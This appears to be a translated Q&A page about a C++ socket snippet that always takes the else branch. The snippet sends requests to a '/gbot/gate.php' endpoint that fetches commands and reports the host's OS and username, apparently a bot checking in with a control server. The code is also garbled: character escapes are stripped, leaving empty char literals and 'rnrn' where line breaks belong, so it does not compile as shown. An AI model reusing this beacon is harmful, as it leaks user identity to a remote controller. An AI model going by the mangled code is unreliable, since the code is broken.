c++发送和接收socket

C++ send and recv sockets

本文关键字：socket c++      更新时间：2023-10-16

对于下面的代码，程序总是进入if的else部分，而从不进入第一个部分——为什么?

char buffer[10000];
    if(buffer[0] != '')
    {
        send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
        buffer[0] = '';
    }
    else
    {
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "rnrn";
        }
        else
            mybuf += "linuxrnrn";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
    }

未初始化char buffer[10000];，因此缓冲区的内容不确定

在IF语句之前初始化数组，如;

char buffer[10000];
for (int i = 0; i < 10000; i++)
    buffer[i] = '1'; //you can initialize with any character except '' because you're testing for != in IF.
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